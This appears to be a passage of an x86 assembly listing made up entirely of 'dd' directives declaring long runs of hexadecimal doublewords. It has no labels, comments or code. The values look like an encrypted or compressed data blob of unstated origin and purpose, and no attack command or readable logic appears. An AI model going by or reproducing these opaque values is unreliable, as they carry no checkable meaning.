		dd 9DFA74Ch, 0B0446040h, 82C8834Bh, 575AE64Ah, 4E07CA10h
		dd 4C303AAEh, 0E235276Ah, 0C5CC552Ah, 1C6636A0h, 26750332h
		dd 7DFFA997h, 83F42FC2h, 70E35A0Fh, 8351BD76h, 70914F3Eh
		dd 8AF6C101h, 0D5CBDB8Eh, 40DA5690h, 0FDE91486h, 0AC7EF4D6h
		dd 656827D7h, 98A694D9h, 0D2C59F16h, 99EBE7AAh,	94651554h
		dd 652803Bh, 5F451B42h,	24AFD6CDh, 8A7C0709h, 0D5E43F89h
		dd 1C686318h, 0DECE425Bh, 6A62ED0Fh, 0EF2E7F8Bh, 58320854h
		dd 94F5020Eh, 0FD17AA3Eh, 39322DEEh, 57C1D5B8h,	72F67AF0h
		dd 23E60F5Bh, 0AF7AF312h, 0DB43C269h, 0BBBF4EC9h, 4A2D8E21h
		dd 8EE9CB2Ah, 5FF989E9h, 6F63B92h, 427C2559h, 5DFBD25h
		dd 0CDA829BFh, 27D0238Eh, 8B117705h, 5868F453h,	600156BFh
		dd 45DB90EAh, 0E72DFE00h, 17A8C46h, 70551D0h, 60EA1C2Ah
		dd 0FEAAB401h, 0EBC480CCh, 0C0B6F4CCh, 0E508DA0Ch, 25622EE9h
		dd 0E055AD28h, 0D2D70A13h, 0D2821FA8h, 0D1A781AEh, 3BDCF8E2h
		dd 0ACCA7397h, 4E5F0907h, 0EA018C03h, 0E908A041h, 7EBE2575h
		dd 8A45FF8h, 5A1828BCh,	80C421EAh, 4713F281h, 0EAFD04h
		dd 196B3B56h, 0D05CF73Fh, 703305Eh, 7F789A05h, 513507BFh
		dd 0A0642E22h, 0B694AAD0h, 7727A592h, 68B99023h, 0CC5A5A55h
		dd 849D4266h, 17EF54FCh, 0EDF34015h, 53233761h,	2588349Eh
		dd 0D3522FF6h, 0F5BB7FAh, 757C84BCh, 1EF3CCFh, 27C0F875h
		dd 214C08E7h, 0A08B3B20h, 950B7CC6h, 0C7CBB32h,	0EF967F52h
		dd 4A5D4CB7h, 0FA26C4C2h, 2D5B6B88h, 26D1FECEh,	553D8E09h
		dd 0AB4FDB51h, 2C50C073h, 30E6B06Bh, 0EFFB4948h, 0AC0BB3FCh
		dd 275755C5h, 0B6308F1Eh, 9513E921h, 0C25FC4ABh, 83A2C278h
		dd 1337B1Ch, 0DFB450D5h, 7BC4C380h, 0E4D7E5E5h,	0FE5E57FAh
		dd 39531781h, 823D253Fh, 0A360C3D4h, 0FE2F6608h, 174AF86Eh
		dd 0CC189668h, 297EA549h, 0E1851E4Ah, 0B1A08881h, 1918B900h
		dd 7466C23Dh, 5ABB8497h, 0CCA7E7AAh, 4D680C83h,	0E9129B2Ah
		dd 0B10CE0D9h, 0EEF51650h, 8007459Eh, 0C235A6EAh, 27C0FE1Ch
		dd 0B151CA28h, 0D9F60171h, 16E9C9FEh, 0D6A26E09h, 955E4E78h
		dd 39E80736h, 0E6D70946h, 70035D71h, 850BB848h,	0FC611673h
		dd 96397A94h, 9E3F14F8h, 0B07D8BB8h, 94A3E4DFh,	5DB68979h
		dd 9F184557h, 59B3C950h, 6BAD94B8h, 1CBC1BB1h, 552D1B4Fh
		dd 2D8E3D34h, 1BD06817h, 3058DE61h, 6CDE2E6Ch, 5AD540D7h
		dd 0CD04814Dh, 2E024306h, 0DD2349BEh, 21A999E3h, 4B813B9Dh
		dd 6BE770h, 58C73052h, 7876B652h, 805AF71Fh, 0BC092792h
		dd 4DC50103h, 136BE2E9h, 0C9C9B96Ah, 711E5753h,	0BE6DBBDh
		dd 0BBF2CCB4h, 457A590Ah, 0DE00D07Eh, 81047853h, 44C10CEEh
		dd 310C2198h, 1750091Fh, 7C30CE01h, 0CB7C4BFAh,	0BBDB1D12h
		dd 0BC6A47D9h, 90E9F1FDh, 0E23ACF25h, 6FD2D643h, 0DAFDCA0Ah
		dd 19D69F6Fh, 0F4AB5D13h, 558210DDh, 7B972214h,	0D520B6Eh
		dd 7D4DFC71h, 0D38D66FCh, 0FB575258h, 0ACBEC094h, 4A5D2513h
		dd 60DE55CEh, 50802337h, 5E2E4A5Ch, 3CDD929h, 0D3CCE90Ch
		dd 4EE368AAh, 0A5EFD77h, 8F62488Bh, 14DD3A9Dh, 2BC3054Bh
		dd 0EB44E21Ah, 802B3E1h, 0F129605Fh, 87E44E57h,	0E87201D2h
		dd 0DAA83A7Fh, 9A3EF304h, 5CFAC033h, 1527A154h,	20747429h
		dd 99E91808h, 0C0F77983h, 783E3D1Dh, 0B52EC781h, 0D2A6C44h
		dd 4DCEDAEAh, 7FDA3D2Ah, 810C1C90h, 0F643102Bh,	22490BD7h
		dd 600F576Dh, 0E750484Ch, 1B4C2809h, 7AC4803Dh,	2E663AA2h
		dd 20BFFE01h, 0B099B0EBh, 0B2225E37h, 73C2811Bh, 873F6607h
		dd 4EA850Ch, 0D4EBE908h, 41758505h, 857B2669h, 92F8B94Eh
		dd 0C540E372h, 6BDD2D9Fh, 131B24E9h, 564688E9h,	0CF797D69h
		dd 0C5E07109h, 0F8BA0C3Bh, 0B42568A1h, 6CCE187Fh, 22DC256Ah
		dd 0F89B09D5h, 9EDAB0FBh, 2A82C9D2h, 0A989D25Bh, 970865D7h
		dd 0E28FB450h, 1E518F40h, 0FD88C3B5h, 0B500CC25h, 1989F901h
		dd 6DF91E90h, 0F606103Eh, 3051BF02h, 0CB5D056Ah, 1DB698C8h
		dd 0C670B594h, 8D455538h, 0E4FE291Ch, 0FF20805h, 978B298Ah
		dd 47EFD15Eh, 40252A02h, 976129BBh, 0F0C17788h,	0E7404A42h
		dd 5171C06Ah, 3FFDE1B8h, 5F950B3Fh, 442031DAh, 38B9079Ah
		dd 0C3554D1Ah, 68A059CFh, 0E0166F81h, 3C135D56h, 6CA70BD4h
		dd 0CCFE983h, 0F4805201h, 58E588A2h, 0E1EEC5D8h, 607AE9C8h
		dd 0CEBF2A16h, 3B5F5034h, 41A67CE4h, 7C8A40F7h,	785F6931h
		dd 80538E91h, 1E684107h, 5B2BE02Ch, 1C757495h, 8A40185Ch
		dd 296112E3h, 3A75F3BFh, 27E9DFF8h, 10794AC1h, 18325104h
		dd 680B91E8h, 0AD457DC0h, 8F44B7A6h, 798C496h, 1F7F5A34h
		dd 0B8B7C553h, 9A680C9Dh, 4E3BFF49h, 0DE38ED0Fh, 986C67CBh
		dd 967F689Ch, 87016F66h, 2A5C2B25h, 84078FC2h, 0E2ABB9CCh
		dd 0F1D4FBh, 2D164227h,	4AEB4EE9h, 3F01C8FEh, 0A20D041h
		dd 3E181275h, 0A1340162h, 6ED7B99Ah, 9B5EB1E2h,	71FA5ED3h
		dd 21C60122h, 18AB2B60h, 1E47559Bh, 26300B58h, 25B9BCFAh
		dd 3D39867h, 7CB30D11h,	440B0735h, 2452FB4Bh, 52A973F0h
		dd 2B39CE46h, 9A2D6799h, 254496E7h, 0C235D746h,	92E39526h
		dd 0D1AF1027h, 0B04142AAh, 82B85000h, 9DD17972h, 30496B61h
		dd 602DA6D7h, 77FFC029h, 44E01799h, 20FE809h, 206301E7h
		dd 0DD0B610Eh, 0F07B70F5h, 0FF4E5F9Fh, 4B228AEAh, 0F7A345B9h
		dd 0E562DA10h, 5BDF8909h, 6B0BF076h, 2898FFEEh,	3C480A97h
		dd 53F71659h, 0C7CFDBA8h, 0F91746A5h, 4BE51093h, 113EBD02h
		dd 99804CE3h, 6F8547ADh, 405F30B8h, 25531FC8h, 0B562F6BBh
		dd 0F4057255h, 4241059Bh, 0A2DF0115h, 0BFA89271h, 12404F2Ch
		dd 3A48E159h, 8F3966AEh, 4E311920h, 57A05652h, 0D84EB774h
		dd 252C5198h, 65D7483Ch, 173FA467h, 870BC122h, 7BAB21D3h
		dd 1DF13540h, 0C16F1459h, 9F5D070Ch, 0D6A42BA8h, 15899DDDh
		dd 0A1391E55h, 62700CAFh, 0B9574E50h, 31EED3F6h, 39D7F7D1h
		dd 0F81910DCh, 0ED666816h, 7CCC68E7h, 0F4C98F68h, 44FE2FC0h
		dd 0E0AAEAE4h, 6A2DE9BCh, 8B32FD65h, 78907DD0h,	0BE7A820h
		dd 30D2B050h, 0C44F81D6h, 30BEDD13h, 40216821h,	7FDA18B5h
		dd 47FE40C7h, 31E94C4Fh, 163DCC9Fh, 4B4BE3D1h, 0E8AB8534h
		dd 5ED240E1h, 759A3672h, 8909DA5Bh, 0D2CDD756h,	8829E904h
		dd 3252CA8Ah, 2DEA28DCh, 43927418h, 0D089425Fh,	9DE59A4Ch
		dd 6ABE46F6h, 0CD02DAF1h, 80235027h, 0C93ED6FFh, 5C09BF90h
		dd 79A68C00h, 7ABD7F20h, 0A4A58058h, 0F33FCE56h, 40451302h
		dd 0DACBC9FFh, 3CD5F9C6h, 5613407Bh, 0BA52551Ch, 53A95F04h
		dd 0E8502DB0h, 268D90E8h, 7BCF5B97h, 0FB42B3F1h, 61ACBAFCh
		dd 0C6B0E9E0h, 0F33176C5h, 81CD5DAAh, 29159993h, 68C600DEh
		dd 4C0A590Bh, 0BA42F185h, 955DC7B0h, 66922F56h,	0BDBD92FAh
		dd 3C5BEEDAh, 45DC805Eh, 0E086F46Dh, 0A106DCB8h, 68521500h
		dd 3EFF7AEEh, 8EDA955Ah, 2D0DC204h, 5FFE0BE5h, 27E9493Eh
		dd 1BA32A3h, 3150BBF8h
		dd 74A2F1FFh, 0CB7789DCh, 0E953A36h, 7DCE82CAh,	0EE5E584Ch
		dd 2545F5F5h, 0E9014FEFh, 0B636F13Dh, 6EA970B0h, 96F8C7B5h
		dd 3132AB5Ah, 5F31D0FEh, 4659EE5Dh, 5200A0AAh, 8019C3B6h
		dd 9D0607C6h, 5E3C77Eh,	0E9CAE4F0h, 0C3E8EF4Bh,	0E702138Bh
		dd 375C093Bh, 852FFAA0h, 0C20B9335h, 0E4AF57CCh, 8FC35CCBh
		dd 8B3C77F8h, 40AF2E96h, 0B166853h, 5E583823h, 88806558h
		dd 0E82D66C3h, 83A9F84Ch, 0ADA4C88Bh, 11F79599h, 697CC199h
		dd 0B407E114h, 0BAF18850h, 5A5831F2h, 19E149Ah,	0E63AEB83h
		dd 9C9C96B3h, 91C955E9h, 736DFF3Ah, 9196B36Ah, 0D3EBC0E9h
		dd 97796227h, 882027Ah,	2459B011h, 0B90BBEB5h, 80730709h
		dd 0CC1B5B51h, 0D7619F44h, 65EC2F2Dh, 0F418AC4Eh, 0AF3CB8B5h
		dd 4898FA10h, 14B1981h,	5AFAA7D7h, 5BB27660h, 7B2DAC20h
		dd 5A30363Bh, 5557FDC2h, 0D95A85F9h, 7EC94036h,	0FB906A92h
		dd 0E8452809h, 812B7219h, 0B9605108h, 0F789C06Ah, 1BC31A13h
		dd 27A9709Fh, 0E6E675B3h, 5159D6BFh, 0ACF73FCEh, 941BE9C1h
		dd 64FB2EFFh, 0F890FF0Bh, 0CFC2F180h, 0FB696B06h, 0B92607D6h
		dd 4281565Ah, 0A9E5E0CEh, 27FA9788h, 0DF09DA0Bh, 5C1DBD7h
		dd 15CDB8E9h, 0AD1A48EFh, 41DD0EE6h, 1620F5ADh,	0C54F8401h
		dd 0C55210BAh, 4EA1E90Bh, 2C8A78DBh, 0CE09A1A6h, 9EB2D1FEh
		dd 8B7CA56h, 3E25BBFBh,	0D00134C0h, 22FE9AD6h, 0EC70838Dh
		dd 445B6D90h, 84970DBDh, 0A21C035h, 3076052Ch, 78D5D4F9h
		dd 4AEDF4Ah, 0AB58C5B5h, 0AFAC3C69h, 409C2023h,	0C377614Fh
		dd 4AB6D44Dh, 0A3B3D7AEh, 7503C88Eh, 405906CEh,	0EA86DC26h
		dd 0B85F5C2Ah, 3B2FB801h, 0F8056319h, 23908C60h, 7E7C6422h
		dd 5EF7F2C5h, 4C8A558h,	0D9148208h, 1C4F9CFEh, 0BD0E922Ah
		dd 0E4963E36h, 0A88BF531h, 0EC8F174Fh, 8AFAF429h, 3DBA4067h
		dd 0C540334Bh, 35FB6FD4h, 0CB81075Bh, 7B9C5CC8h, 0C6F5AD42h
		dd 8A5F97ACh, 360ADB00h, 591E6995h, 45664146h, 70F8090Eh
		dd 68D839ACh, 0D7B168BFh, 0DA6DB52Ch, 4FAA720Dh, 5C6A5DDAh
		dd 6A5492C1h, 0D9BE5213h, 6342F444h, 0B0D21BD8h, 0A4D09D4Bh
		dd 0D075C7ECh, 66080C13h, 82BAB1A0h, 0A0089B54h, 20590232h
		dd 4CF05AF1h, 0FD248F7Dh, 0F7BC496Bh, 3212074Fh, 756D8B0h
		dd 251C9668h, 51B1E323h, 1FEAAF0Fh, 7E3C2F30h, 9DE4AF57h
		dd 0FED62765h, 0B809C7D1h, 0C91477B3h, 1EA692Ch, 4802D5ACh
		dd 5D7A4143h, 0EA804F90h, 0CA7A7B70h, 3E4435FBh, 812F99A8h
		dd 2F995188h, 0A9078957h, 0FCEF5F73h, 0F5E9B2A7h, 89A76345h
		dd 4B65D7B3h, 0D1685040h, 63EDB655h, 0AD3C38F9h, 5508257Ch
		dd 67569A30h, 0A9373E2Dh, 31F68A1Eh, 0C5045392h, 0ED1D02D2h
		dd 9225B3FCh, 95876BAh,	106E7650h, 0E9026993h, 7DFEED43h
		dd 0C744FE71h, 126F0FBh, 0C296D752h, 0DF4BC5E9h, 0EE13A129h
		dd 9458E2DAh, 0BF992BF3h, 160C001h, 0D9CD0AC5h,	845C1E1h
		dd 42CBCBAEh, 82E90246h, 755E3E0Eh, 80998CAh, 14392B04h
		dd 0FEE017B6h, 0C3E68D58h, 3BAA481Dh, 2D3497Fh,	56D4BF7Ah
		dd 68B50C30h, 0F5744A3Eh, 0E90800EEh, 0BABC0A91h, 0B1B165h
		dd 0D1D00F6Eh, 0EB16EFDFh, 0F685F0Ah, 0FC68941Dh, 6F9E01Ch
		dd 8508E938h, 0A1BA013Ch, 310D7F6Fh, 7C76F1C2h,	2BEB5E79h
		dd 94B02EF6h, 24F01E13h, 2C2BFD33h, 0B10151F4h,	8094B238h
		dd 902181C2h, 0E8599547h, 829CF29Fh, 0CED2AA43h, 0E4E81355h
		dd 74C0EDC2h, 64306D1Ah, 5C9F88FCh, 0D8189E2h, 0E2493D9Ah
		dd 0BA66002Bh, 555B3A3Fh, 6D56FFFh, 1F1549FCh, 0F78020AFh
		dd 3E1768F9h, 17BDC393h, 63AE6FB8h, 40C9CACDh, 970BF413h
		dd 0E9086004h, 0F5BE937Eh, 838441E5h, 0DF870163h, 1D34C0DDh
		dd 17D601BDh, 0EB316256h, 0C9D8225Dh, 0CD21025Eh, 0FBE5A60h
		dd 3FFAEBF5h, 0AED81577h, 27EA90D8h, 0C14B6D04h, 8DFE03EDh
		dd 0CBE5D8E6h, 38027201h, 0EB2BE945h, 0A285D425h, 0AEFEF6ECh
		dd 618D91CCh, 685112C5h, 9F5F3E25h, 0F28C497Fh,	1C71D744h
		dd 25B7C427h, 2AF138D3h, 5FDD618Bh, 812F5246h, 1F44D2C2h
		dd 0E7C448E9h, 2D9C6C5Fh, 2E20FAC9h, 36A44ABDh,	7E720551h
		dd 0EF7884h, 42E13545h,	5D90FB06h, 0F5E7E95h, 0F8D21AE9h
		dd 0E168E0E3h, 709C974Ch, 2E34EA04h, 94FE198Bh,	0E9081290h
		dd 0D6E90C27h, 485D5A0Eh, 8E896687h, 27501574h,	15BA9FDAh
		dd 0ECD586E2h, 738325FDh, 4313F566h, 2801260h, 0CC98106h
		dd 59070828h, 7C1F420Ch, 873F0F1Eh, 7F8D2DCCh, 0F49B8752h
		dd 1C778733h, 0E65E1B7Ch, 0DB623387h, 0FE1301B9h, 5208B1Fh
		dd 5ED84D58h, 0C2D60E62h, 55407AD4h, 7F72A468h,	0F05D4FFAh
		dd 40C045E3h, 0F1C0E0Ch, 60C65A68h, 0BF9AE026h,	0A8E9ED05h
		dd 91CDFEE5h, 310219CDh, 54CD10E8h, 2A871DA9h, 0B9BF1574h
		dd 0B6BB93F3h, 7CA26944h, 5BC256CDh, 0DCA545E9h, 6B41A733h
		dd 0EB4B60DEh, 490E4206h, 82DCFD01h, 884DDE08h,	2B2518CBh
		dd 8B81FCB4h, 0CFFD148Bh, 15FC24E5h, 0CF03C946h, 37B407F2h
		dd 0BAACDADBh, 407455CCh, 5B5F6692h, 800702F0h,	5962FAEAh
		dd 4001C20Ah, 80790913h, 0F63510B1h, 5A8204D1h,	96245B66h
		dd 0EB411756h, 0E9D55857h, 0E988F0BEh, 35CF677Dh, 0F3F482C1h
		dd 0D7BAC2C3h, 290B48F8h, 0A7ABE9CFh, 16F680C2h, 4A217B06h
		dd 0C0920020h, 0DEF604E6h, 444FC6FAh, 846B08ACh, 0C4E2C4D5h
		dd 0AAD72902h, 4ADA8D40h, 97ECF281h, 0E92F17D0h, 92A57CC2h
		dd 44C9BEE3h, 3D062DFCh, 5F251939h, 822D8EF7h, 5F1F7268h
		dd 0BDC04690h, 0B700769Ch, 0C1521210h, 0EEF6C0E6h, 433F27AAh
		dd 3DE28EC7h, 0C7014665h, 73520701h, 2F810CB9h,	0C14F747Eh
		dd 86803EEFh, 76E126EBh, 164DF272h, 90E406Ch, 2972DABDh
		dd 0FB693609h, 0E21B0734h, 78034652h, 97D88088h, 72DD2732h
		dd 8A0E85Eh, 6D541CC1h,	188631B4h, 0C66B35B6h, 0E3C8B529h
		dd 0D50BFF4Bh, 5D53E0FFh, 0BC70F129h, 0CC05528Fh, 0ADDED92Fh
		dd 6370182Fh, 802DB109h, 0FEB4D5B7h, 0C0748CE9h, 97AD7B97h
		dd 69ED9750h, 0CA83FD4h, 5E4BE997h, 0C30B1ABEh,	6B572C53h
		dd 0F840D2CCh, 0B2B9057Fh, 0FA02D96Ch, 0BFD66C4Ah, 599F0B20h
		dd 414272Bh, 5FA3684Ch,	0C1E454ECh, 2E472CA1h, 0C37DCBD1h
		dd 282CC96Ah, 22569F98h, 0B2523142h, 0D4D8h, 885B822Ch
		dd 7F4BE9C7h, 5DC0D916h, 0B22B6856h, 0D8DACBF0h, 4CA15968h
		dd 0C090531h, 1FC93A99h, 68A0C37Eh, 487576DAh, 830AA5F5h
		dd 6661E5D9h, 98D20B8Fh, 83F0276h, 504E5482h, 5EB710CCh
		dd 0BF4249BFh, 7D8B30D7h, 6ED1B2C2h, 0F0B7D250h, 0E24B285Dh
		dd 0E95FCCEFh, 2CC9AF34h, 0FFC20DC2h, 68B8B8CBh, 0CF9B79D7h
		dd 0C5C07126h, 2016BB23h, 881F229h, 2AE02D8Bh, 92D36B47h
		dd 39EA2E52h, 6808847Bh, 72803026h, 0ED835Dh, 0BA524D01h
		dd 204F67B6h, 818B7E9Dh, 79A177D0h, 6AE56A29h, 2FB19ECh
		dd 0E9EE89F8h, 7051A81Eh, 4B10272Ch, 0C256C45Bh, 0AE05769h
		dd 310738ADh, 58C78970h, 8809E7F5h, 510062C0h, 19CBC889h
		dd 7AEE2123h, 2D7BACA8h, 7FB92B19h, 0CB8C7F57h,	0D2D2CE9h
		dd 5EE64E06h, 0C14A336Dh, 0ED63C5EBh, 72788454h, 0B9D53A93h
		dd 9E3CBF35h, 716DE3Fh,	0C1C5F81Ch, 40DD0B20h, 51C9B872h
		dd 614C5707h, 0BB5E5D8Dh, 0C37E8EA2h, 3CE6C023h, 0C171A23Eh
		dd 829FA0D0h, 78807EE0h
		dd 257013BAh, 93725127h, 0FA067820h, 0AB5A176Ch, 4E25F861h
		dd 68099FE8h, 0F6713097h, 0FA6E3E82h, 7D006074h, 752E3A78h
		dd 634364AFh, 8BBB03D1h, 0FE01B0D4h, 7AAE3F6Fh,	0D97CA784h
		dd 0EE024326h, 7F1DCA46h, 0DB0C0E58h, 0CA287C6Ch, 0F0631739h
		dd 9D40F478h, 0D9B33706h, 7ECF501h, 3A0C54EDh, 0E7CDF060h
		dd 60EF2022h, 4D17E5DDh, 0A41F7BBAh, 459B5745h,	5A6D41EFh
		dd 25B4C70Fh, 5EC52CF7h, 0E93E0AE8h, 0F3E6FD25h, 3999BEB0h
		dd 5D25DF24h, 0E8CC3A32h, 0E961D4B4h, 4ABDBA84h, 0D01234A7h
		dd 2E914641h, 68C23BFDh, 0EC9A66EAh, 0C4D83B82h, 0F7B1C320h
		dd 0C3A65F35h, 809D29D3h, 3D73FA3Eh, 57BF215Eh,	0E12AC1E4h
		dd 507C9DD8h, 0FFEF6189h, 795E7C1Eh, 0C6553A09h, 83E49D86h
		dd 28AB59B7h, 402309D6h, 712203C8h, 98DDF76Ch, 8008B655h
		dd 5277535Bh, 16B7F13Eh, 0E8A4F728h, 0AD7340EFh, 0E46456ECh
		dd 2805BA2h, 0B0AA41A5h, 92F601FDh, 0E90ABC5Fh,	5A1568EDh
		dd 0E9A00CA9h, 0C8979915h, 2A4E7F43h, 0FCF4396Eh, 557012F9h
		dd 2A2B01ADh, 2B769643h, 8042494h, 0FED54DE9h, 579F42FCh
		dd 10A4E286h, 312FC79Ah, 7BFDA6F7h, 86B902EDh, 292CA14Dh
		dd 0ABF7FE75h, 0B0E90512h, 4533BF4Ah, 0B00CF6E3h, 2DD0F241h
		dd 57F03F91h, 0B8DADB54h, 272BE53Eh, 9447852h, 10CA0D06h
		dd 8B9D8DDh, 0F8E07C38h, 0EF006D24h, 9E685102h,	0CB75C94Fh
		dd 0D9DF0009h, 14F242F1h, 55099B5Ah, 0D47AF021h, 0C5882D3Fh
		dd 8B7725F4h, 2DBCD864h, 94012FE9h, 8808D968h, 2F83B449h
		dd 4E16B456h, 0F0050BD9h, 0EC3A4DF1h, 5D2C0415h, 7A837861h
		dd 0ED80B4F5h, 97A80FE9h, 215BC598h, 601861C6h,	25337C53h
		dd 0BE4610C8h, 0BE07EE1Eh, 0B2B53196h, 409DDE08h, 1D0AB822h
		dd 0CAFBA326h, 3072BB82h, 0F24C60ADh, 4BA6B9C9h, 7F50A475h
		dd 0CA017BE9h, 38122129h, 0CDBC324Ah, 56A06F7h,	61D8806Dh
		dd 42545528h, 5E05EB9Dh, 3969E1C3h, 0AD50EAEDh,	0F4BE045Dh
		dd 0F88D7C6Eh, 79694803h, 4B4C4FFAh, 68531472h,	9E5B2808h
		dd 0D1FA809h, 0C628DD66h, 28DE3F08h, 69BE5528h,	77215D60h
		dd 937C9D1Ch, 1D88E3C7h, 273C8C57h, 883C350Ch, 40529E3Eh
		dd 16D55FCDh, 0A3FD288h, 4D13B426h, 4CBE5F4h, 0E911CA50h
		dd 3AEDB1FAh, 0ADB425ADh, 8C4492D2h, 800505E8h,	934ADC5h
		dd 75E5203Ah, 5D5EFC1Ch, 0A27F6AE1h, 6861D80Fh,	0F24E4F63h
		dd 7E73D415h, 3DAD6F04h, 71A10BE9h, 0C9CADA16h,	61EA580Eh
		dd 8B3ACA5Fh, 0F061579Ah, 81C8529h, 9BB8E7E9h, 7A3E6D4Bh
		dd 0C9EE2C75h, 98A8119h, 3130A822h, 8C7BA33Bh, 9D5CEB1Dh
		dd 4BDB83F5h, 87121264h, 0DDAF00FDh, 551CD815h,	0E99D24FCh
		dd 8B31489Ah, 0FC7E20E0h, 5397905h, 0C82903BCh,	0B07132Dh
		dd 417425FDh, 1CC15D4Bh, 0DDEAEB29h, 0CA8045EBh, 501C5966h
		dd 0C589D088h, 2D0E8E58h, 0AE3B3AC4h, 9C682345h, 7840E2FAh
		dd 460EC32Fh, 0E8C2246Bh, 0B65B6612h, 4B69B120h, 6AC60251h
		dd 7077607Fh, 0E9CB1757h, 0B12C4798h, 0A8447271h, 689C5DDEh
		dd 3C966415h, 5F9F7C33h, 0E9163D36h, 0A0C9DED7h, 3EF5FB01h
		dd 0ED32FC72h, 54581AB6h, 0A508C651h, 0A48DD70Ch, 0B0BC2E0Ch
		dd 43FE5A25h, 647F1459h, 0ED2DFEh, 846E07B7h, 20717CE5h
		dd 0F8E0B5EFh, 0BD0FC181h, 0C67A225Bh, 9A1B45Ch, 0AC77BBC6h
		dd 88025370h, 0E92B4361h, 84B7EA53h, 0D6A822E4h, 0F93B4A55h
		dd 241FCB28h, 0D5AA0503h, 49818518h, 46755877h,	82679D82h
		dd 0B0ED842Ch, 2A5E996Bh, 19AE094h, 1745E916h, 0CE66ED78h
		dd 6607F07Dh, 4A32B568h, 2B296A5h, 0FEF43918h, 75E9DF51h
		dd 0D2D189Eh, 892A5B32h, 7E8BF101h, 1719E45Fh, 3253D3F7h
		dd 0A456BD2Eh, 5EA2009h, 3EC4493h, 5DA0D03h, 76D2331Dh
		dd 0E48264EAh, 7DF282Ah, 6631F2ABh, 0E12F472Bh,	0D89A9CB6h
		dd 0E98559D8h, 2F109603h, 0B55CC05Eh, 65EB667Ch, 386049C5h
		dd 913074C0h, 494F9451h, 41444F3Eh, 0C26CEAB3h,	0A74BD350h
		dd 4C62569Ah, 8B77B168h, 0A8A7591Bh, 0CAC8165Ch, 0DF44F2FEh
		dd 1CE0F88Ch, 95A50FBAh, 0C54487EAh, 0C16CA401h, 0D7DB2E17h
		dd 8658601h, 18870ECEh,	2CB8459Ah, 5613EC0Ch, 0DCE1913Bh
		dd 1625B500h, 0C480E7E6h, 0B10F13F2h, 81BDB2E9h, 4B5F68C2h
		dd 52D38192h, 0D456AEF5h, 680C8CADh, 1D250DEEh,	290B7C9Eh
		dd 284A8BCAh, 0E57AB05Dh, 0FE3A96A3h, 29FF4734h, 58376932h
		dd 0C7182DE0h, 97F522DAh, 87A0C77h, 0B115D056h,	629F5818h
		dd 0C9B0478Fh, 0F1B52F78h, 7B55491Dh, 71E90482h, 0A731BB9Dh
		dd 5552FD43h, 428A5C31h, 0F2E9498Fh, 53AE2A53h,	0A0F2EB7Bh
		dd 71E2FBB5h, 0D90D0BD3h, 0A8C8457Eh, 7C815A2Fh, 1E1EB2E9h
		dd 0C07EBC1h, 0E511B77Ch, 0CB984DF0h, 5E9D8B9Dh, 31FF4B73h
		dd 0FA3AE914h, 0A87AA645h, 0D2B7A5A8h, 0A8DD70CBh, 731EA7C2h
		dd 89BC472Fh, 185D1559h, 9AD69567h, 0E5C65B39h,	278E29C0h
		dd 4F8EF0FAh, 68C8DC89h, 0D16050Bh, 120D7C10h, 0FD700043h
		dd 50EFF2E9h, 46794C8h,	0C2B8F180h, 0C00FC5C9h,	5EDF6857h
		dd 0D2554F76h, 63615686h, 4C721Ch, 607296EBh, 0BDE0141h
		dd 4538685Bh, 95FC16DDh, 807F0DD8h, 0BB484A01h,	0A142C149h
		dd 536CF921h, 2E4ACBB0h, 6616AE30h, 7C1369A6h, 85E3033Fh
		dd 0C14B576Dh, 4FD705B5h, 9D75FB70h, 0E2F52CEEh, 0E05202E3h
		dd 736A447h, 0F1812B7Eh, 5678623Ch, 399679DDh, 0ABD3D838h
		dd 0FAD3C748h, 86007E52h, 5CA1464Ah, 41F51481h,	2902BECEh
		dd 54CAE9EFh, 0C6A2EDC6h, 0F2AB78F7h, 89585FC5h, 0EA644565h
		dd 2DFF87D4h, 0CB843B28h, 40336FB4h, 0F30FB835h, 490F3040h
		dd 0D87CAB91h, 79D18165h, 78318105h, 4C743D6Ah,	8ACD0209h
		dd 75264968h, 0D137A641h, 0D8E1601Ch, 477A070Eh, 82CEE046h
		dd 0FA367F59h, 2E8004F6h, 0AE31D7DFh, 0ED0257EDh, 3547E5D0h
		dd 80085756h, 0CB5F1D9Fh, 1B440F12h, 405B54FEh,	818033B9h
		dd 557CB6C7h, 84EA584Bh, 5E080242h, 0C6553C87h,	83C37AF6h
		dd 811C7791h, 623A9DB8h, 0FCD9E932h, 0D58D332Fh, 455D898Fh
		dd 767E49C2h, 454B8240h, 0E1811C6Fh, 6D9A4104h,	34D688E9h
		dd 1E01BD45h, 875B1141h, 68B47FBh, 2D77E8E9h, 0BB2B4E42h
		dd 0FE054F3Dh, 844EF3F9h, 0B104FB20h, 5E0AE2FDh, 50844F48h
		dd 5AC5BDB7h, 5F25FEA9h, 0F8ABABE5h, 9E89A0A4h,	306A5918h
		dd 283FDDEh, 0CF5CD079h, 2A0896A9h, 98472AD3h, 21CD0570h
		dd 1A329h, 39358596h, 0BF07577Dh, 2C6A2891h, 2550F7C0h
		dd 0FD614E77h, 3BF502E2h, 0DEDC51C1h, 0C093978Ch, 80CAFEDAh
		dd 637C230h, 5B450C8h, 0E9E23053h, 5875926Ch, 0EA64B3DFh
		dd 25545EA4h, 0D7CB45F1h, 0A90BAD4Dh, 96EFADBh,	4EF67D7Fh
		dd 19076500h, 681677DCh, 2934353Ch, 0BF019DB1h,	6AF4FFEh
		dd 9D809C66h, 1F25468Ch, 516AF048h, 12ECE549h, 0AC774AC0h
		dd 7CBC0696h, 950E792Ch, 5F09DD50h, 803EFD60h, 9D23DF0Fh
		dd 0CEE29724h, 0B3CD2460h, 2521C94h, 75D488DDh,	1409E5Eh
		dd 2FE953DAh, 143BB674h, 3F9B84D9h, 208474E8h, 22E7C166h
		dd 0C660ADCFh, 2507B147h, 53024EE5h, 6C15F868h,	70E001D8h
		dd 25E94E8Dh, 0F59B64B1h, 527D0513h, 452CC502h,	0F312409Ah
		dd 13EA7B86h, 0E1B3E94Bh, 803DD576h, 0C91D1F63h, 1535549h
		dd 32335245h, 0C76C642Eh
		dd 56444180h, 495350E6h, 544E1F0Dh, 0A6A4C9Ch, 0E9620187h
		dd 90FD0DBh, 2A964768h,	0EAB5E782h, 0CDD23AE3h,	21AB0A84h
		dd 0A112982Bh, 89994C10h, 84D80897h, 0C1118D42h, 883219Ah
		dd 79919B1Eh, 0B6AC7D00h, 69673539h, 1CE8EC00h,	0C7999D1Ah
		dd 505400D1h, 5088583h,	9B7D6859h, 4D1C2001h, 7D2D653h
		dd 8488F0h, 173DBAB4h, 6FB2187h, 7D795900h, 6A3A60AAh
		dd 994B0070h, 445C6F24h, 565CBCD5h, 0C800779Dh,	0BB87E58Dh
